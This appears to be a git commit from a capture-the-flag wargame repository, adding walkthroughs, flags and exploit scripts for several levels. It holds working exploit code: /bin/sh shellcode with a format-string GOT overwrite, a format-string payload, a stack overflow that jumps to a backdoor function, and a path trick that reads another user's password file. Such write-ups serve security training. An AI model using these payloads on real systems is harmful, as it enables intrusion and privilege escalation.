level05: done (exploit modified to a better shellcode)

level07: walkthrough done
level08: done
level09: done
This commit is contained in:
0x35c 2025-05-15 14:00:44 +02:00
parent 4a88b55e23
commit a3ea938eb1
12 changed files with 74 additions and 29 deletions

1
level05/flag Normal file
View File

@ -0,0 +1 @@
h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq

View File

@ -1,6 +1,4 @@
#!/bin/sh export SHELLCODE=$(python -c 'print "\x90"*1000+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')
export SHELLCODE="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"
printf ' printf '
#include <stdio.h> #include <stdio.h>
@ -16,17 +14,16 @@ gcc -m32 /tmp/env.c -o /tmp/a.out
/tmp/a.out > /tmp/shellcode_addr /tmp/a.out > /tmp/shellcode_addr
printf ' printf '
with open("/tmp/shellcode_addr") as f: shellcode_addr = f.read()
exit_addr_low = "\\x08\\x04\\x97\\xe0"[::-1] text = open("/tmp/shellcode_addr").read()
exit_addr_high = "\\x08\\x04\\x97\\xe2"[::-1]
shellcode_low = int(shellcode_addr[4:], 16) - 8
shellcode_high = int(shellcode_addr[:4], 16) - shellcode_low - 8
payload = "%%{0}d%%10$hn%%{1}d%%11$hn".format(shellcode_low, shellcode_high) shell_code_low = int(text[4:],16)
exploit = exit_addr_low + exit_addr_high + payload shell_code_high = int(text[:4],16)
exit_addr_high = "\\x08\\x04\\x97\\xe2"
exit_addr_low = "\\x08\\x04\\x97\\xe0"
print(exit_addr_low[::-1] + exit_addr_high[::-1] + ("%%" + str(shell_code_low - 8) + "p") + "%%10$hn" + ("%%" + str(shell_code_high - shell_code_low) + "p") + "%%11$hn")
print(exploit)
' > /tmp/exploit.py ' > /tmp/exploit.py
(python /tmp/exploit.py; cat) | ./level05 (python /tmp/exploit.py; cat) | ./level05

14
level05/walkthrough Normal file
View File

@ -0,0 +1,14 @@
# Level05
Using ghidra, we can decompile the code and see that it fills a buffer of 100 bytes using `fgets()`.
It will then `xor` every char from 65 to 90 in the ascii table (the upper case alphabet).
Finally, this string will be passed as the string format to `printf()` and we can exploit this by overwriting the GOT address of the end `exit()`.
First, we need to find where the buffer is printing on the stack. We can simply write `"AAAA"`, followed by a bunch of `%x` to dump the stack and find where it is. Here, it's in the 10th position.
Second, we need to get the GOT address of `exit()`. Using gdb, we get an address of `0x80497e0`.
Then, we will write our shellcode injection to an environment variable so we can print its address instead of `exit()`.
We can print this address with gdb (or using a C program, which is what we did for automation purposes).
Once we have all that, we can exploit `printf()` to put the address of our shellcode at the GOT address of `exit()`. For this, we need to split the padding for the address in 2 parts because it would take foreverto print all these bytes of padding.
We simply separate the shellcode address in an upper part (4 bytes) and a lower part (4 bytes).
For the exit address, we're gonna write 2 bytes by 2 bytes so we need to write the first part of the address to `0x80497e0` and the second part to `0x80497e0 + 2`, or `0x80497e2`.
For this one, you can copy paste the bash script in `./ressources/exploit.sh`.

View File

@ -5,7 +5,7 @@ Basically it has 2 functions, `store_number()` and `read_number()` that writes o
The issue here is that there's no protection on the write to the buffer (except `index % 3`). The issue here is that there's no protection on the write to the buffer (except `index % 3`).
Since the buffer is on the stack, we could overwrite `eip` and replace it by whatever we want. Since the buffer is on the stack, we could overwrite `eip` and replace it by whatever we want.
First, we will need to determine `eip`'s offset to the buffer. To achieve this, let's use `gdb`. First, we will need to determine `eip`'s offset to the buffer. To achieve this, let's use `gdb`.
We want to break before a call to `store_number` for example (since it has only one argument, `data` buffer will be in `eax`). We then print both the registers and the stack frame (`info registers` and `info frame`). We want to break before a call to `store_number()` for example (since it has only one argument, `data` buffer will be in `eax`). We then print both the registers and the stack frame (`info registers` and `info frame`).
We get the adresses of `eip` and `eax` now let's get the offset. Simply substract both addresses: `0xffffdc3c - 0xffffda74 = 456`. We get the adresses of `eip` and `eax` now let's get the offset. Simply substract both addresses: `0xffffdc3c - 0xffffda74 = 456`.
So, at data[456] we have `eip`. So, at data[456] we have `eip`.
We still have 2 issues with this. The first is that the index we input is multiplied by 4 so we have to input `456/4 = 114`, so the real offset is 114. We still have 2 issues with this. The first is that the index we input is multiplied by 4 so we have to input `456/4 = 114`, so the real offset is 114.

1
level08/flag Normal file
View File

@ -0,0 +1 @@
fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S

View File

@ -0,0 +1 @@
(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4

View File

@ -20,10 +20,8 @@ int main(int argc, const char **argv, const char **envp)
FILE *log; FILE *log;
FILE *stream; FILE *stream;
int fd; int fd;
char buf;
char dest[104]; char dest[104];
buf = -1;
if (argc != 2) if (argc != 2)
printf("Usage: %s filename\n", *argv); printf("Usage: %s filename\n", *argv);
log = fopen("./backups/.log", "w"); log = fopen("./backups/.log", "w");
@ -44,11 +42,11 @@ int main(int argc, const char **argv, const char **envp)
printf("ERROR: Failed to open %s%s\n", "./backups/", argv[1]); printf("ERROR: Failed to open %s%s\n", "./backups/", argv[1]);
exit(1); exit(1);
} }
while (1) { for (size_t i = 0; i < sizeof(dest); i++) {
buf = fgetc(stream); char c = fgetc(stream);
if (buf == -1) if (c == -1)
break; break;
write(fd, &buf, 1); dest[i] = c;
} }
log_wrapper(log, "Finished back up ", argv[1]); log_wrapper(log, "Finished back up ", argv[1]);
fclose(stream); fclose(stream);

16
level08/walkthrough Normal file
View File

@ -0,0 +1,16 @@
# Level08
Using ghidra, we can decompile the code and see that it does a backup of a file that we passed as a parameter (roughly).
However, there are a few protections.
First, the program `open()` our argument file (here, we want `/home/users/level09/.pass`.
Since the binary has the permission for user `level09`, we can `open()` this file.
The string `"./backups"` is concatenated to the filepath we pass as a parameter. It will then `open(..., OCREAT ...)` the file that we passed in `av[1]` and write the contents of the original file to this newly created file.
However, since the path will have `"./backups"` at the beginning and we want to get the content of `/home/users/level09/.pass`, we need to recreate this file tree in the `/tmp` directory.
Here is the process:
```
level08@OverRide:/tmp$ mkdir -p backups/home/users/level09
level08@OverRide:/tmp$ ~/level08 /home/users/level09/.pass
level08@OverRide:/tmp$ cat backups/home/users/level09/.pass
fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S
```

1
level09/flag Normal file
View File

@ -0,0 +1 @@
j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE

View File

@ -0,0 +1 @@
(python -c 'print "A"*40 + "\xff\n" + "A"*200 + "\x00\x00\x55\x55\x55\x55\x48\x8c"[::-1]'; cat) | ./level09

View File

@ -27,25 +27,25 @@ int handle_msg(void)
char *set_msg(char *msg, int len) char *set_msg(char *msg, int len)
{ {
char s[1024]; char buff[1024];
memset(s, 0, sizeof(s)); memset(buff, 0, sizeof(buff));
puts(">: Msg @Unix-Dude"); puts(">: Msg @Unix-Dude");
printf(">>: "); printf(">>: ");
fgets(s, 1024, stdin); fgets(buff, 1024, stdin);
return strncpy((char *)msg, s, len); return strncpy(msg, buff, len);
} }
int set_username(char *username) int set_username(char *username)
{ {
char s[140]; char buff[140];
memset(s, 0, 128); memset(buff, 0, 128);
puts(">: Enter your username"); puts(">: Enter your username");
printf(">>: "); printf(">>: ");
fgets(s, 128, stdin); fgets(buff, 128, stdin);
for (int i = 0; i <= 40 && s[i]; ++i) for (int i = 0; i <= 40 && buff[i]; ++i)
username[i] = s[i]; username[i] = buff[i];
return printf(">: Welcome, %s", username); return printf(">: Welcome, %s", username);
} }

15
level09/walkthrough Normal file
View File

@ -0,0 +1,15 @@
# Level09
Using hexrays, we can decompile the code.
Here we have 4 functions:
- `handle_msg()` => has 3 variables on the stack. The first one is `char msg[140]`, the second one is `char username[40]` and the last one is `int len = 140`.
It calls `set_username(username)` and then `set_msg(msg, len)`.
- `set_username()` => write the username through stdin.
- `set_msg()` => write the message through stdin in a buffer of 1024 bytes, then copies its content with an `strncpy(msg, buff, len)`
The 4th function is a "secret" function called `secret_backdoor()` which is our goal since it `fgets()` and gives our input to `system()`, thus allowing us to run `"/bin/sh"`.
There is 1 main vulnerability in this program. In the `set_username()` function, `char *username` is being written to through `fgets(buff, 128, stdin)`, then copy the content of `buff` to `username` through a loop whose stop condition is `i <= 40`. But username has a size of 40 bytes, after what we overflow onto `int len`. Since it allows us to overflow on `len`, we can exploit this to then overflow the `fgets()` in `set_msg()`. We're going to put a value of `0xff` in len and hope it will be enough to overflow on `eip`.
Using iterations we found the offset between `msg` and `eip` to be 200 bytes.
What we want to do here is fill the stack with 200 bytes and then put the address of our function `secret_backdoor()` in `eip`.
Here is the command:
`(python -c 'print "A"*40 + "\xff\n" + "A"*200 + "\x00\x00\x55\x55\x55\x55\x48\x8c"[::-1]"; cat) | ./level09`